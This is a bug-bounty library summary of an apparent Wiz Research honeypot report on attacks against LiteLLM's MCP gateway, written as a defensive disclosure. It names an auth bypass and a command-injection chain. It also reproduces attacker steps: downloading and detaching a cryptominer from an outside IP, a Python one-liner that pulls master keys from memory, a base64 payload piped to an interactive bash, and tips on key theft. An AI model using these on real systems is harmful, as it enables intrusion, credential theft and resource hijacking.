# Inside 90 days of attacks on AI infrastructure

LiteLLM MCP gateway accepted any Bearer token and its MCP test endpoint passed the command field to subprocess, letting attackers run cryptominers unauthenticated.

- Payout: Real-world hack
- Severity: critical
- Program: LiteLLM
- Analysis by: Wiz Research
- Disclosed: 2026-08-27
- CVE: CVE-2026-59822, CVE-2026-42271
- Write-up quality: 8/10
- Original: https://www.wiz.io/blog/ai-infrastructure-honeypot
- Library page: https://bugbountylibrary.com/r/blog%3Awiz-io-blog-ai-infrastructure-honeypot
- Tags: area:ai domain:ai domain:cloud impact:internal-access impact:rce kind:incident platform:threat-intel sev:critical tech:python technique:chained vuln:auth-bypass vuln:command-injection vuln:rce

**Target:** LiteLLM MCP Gateway and MCP server test endpoints
**Root cause:** OAuth2 header handling returns an empty UserAPIKeyAuth() object instead of rejecting failed token validation, so any Bearer token grants full MCP access. Separately, the MCP server test endpoint passes the command field directly to subprocess execution with no validation.
**Steps:**
1. Send `GET /v1/models HTTP/1.1` with `Authorization: Bearer x` to bypass auth and enumerate models.
2. Submit a fake MCP stdio server config whose command field runs a Python script that downloads `http://185.62.1.8/mon/mon.zip`, extracts it to `/tmp/.dbus-cache`, chmods `gmon`, and launches it detached via `subprocess.Popen([binary], start_new_session=True, cwd=hdir)`.
3. Script returns a valid MCP handshake (`protocolVersion`, `capabilities`, `serverInfo`) so the connection test appears to succeed.
4. Chain with Starlette host header validation bypass (CVE-2026-48710) for unauthenticated RCE.
5. Post-exploit: query `litellm.proxy.proxy_server` module state for `master_key` and `litellm_master_key_hash` from memory.
6. Fingerprint backend via `POST /chat/completions` with `Authorization: Bearer sk-1234` and a model-name probe.
**How found:** Wiz Threat Research ran honeypots across AI/ML services (LiteLLM, Flowise, LangChain, Langflow, ChromaDB, Ollama) and observed attacker tooling adapted to each service's internals over 90 days of telemetry.
**Exploitation:** Attackers used single-character Bearer tokens to reach MCP endpoints, then submitted malicious MCP stdio configs to the test endpoint to download and detach a Monero miner (gmon) while deleting the staging directory, leaving only an in-memory process. Command output was exfiltrated through the MCP protocol in a fake tool's description field. Post-exploitation extracted the LiteLLM master key from Python module state and enumerated backend models to decide between key theft and LLMjacking.
**Escalation:** Chained CVE-2026-42271 with Starlette host header bypass CVE-2026-48710 for fully unauthenticated RCE; Qilin ransomware group linked to active exploitation of the chain.
**Insight:** AI proxies concentrate credentials: query the running Python module state (e.g. litellm.proxy.proxy_server.master_key) rather than disk files, and fingerprint the backend model before deciding whether to steal keys or abuse inference quota.

## Proof of concept (copied exactly from the original report)

**LiteLLM master key extraction from memory**

```
python3 -c "
import litellm
print('litellm.api_key:', getattr(litellm, 'api_key', None))

import litellm.proxy.proxy_server as ps
print('master_key:', getattr(ps, 'master_key', None))
print('litellm_master_key_hash:', getattr(ps, 'litellm_master_key_hash', None))
"
```

**Base64-encoded shell command execution payload**

```
echo ZWNobyBsd2hmdyAyPiYxO2NobW9kIDc3NyAvdmFyL3RtcC9kb2NrZXIgMj4mMTtlY2hvIGtmOWV1eiAyPiYx | base64 -d | bash -i
```

## Write-ups of the same bug (oldest first)
- 2026-08-27: [Inside 90 days of attacks on AI infrastructure](https://bugbountylibrary.com/r/blog%3Awiz-io-blog-ai-infrastructure-honeypot) — Wiz Research (this one)
- 2026-09-09: [Off Guard: Breaking LiteLLM from authentication bypass to cloud compromise](https://bugbountylibrary.com/r/blog%3Awiz-io-blog-off-guard-breaking-litellm-from-authentication-bypass-to-cloud-compromise) — Wiz Research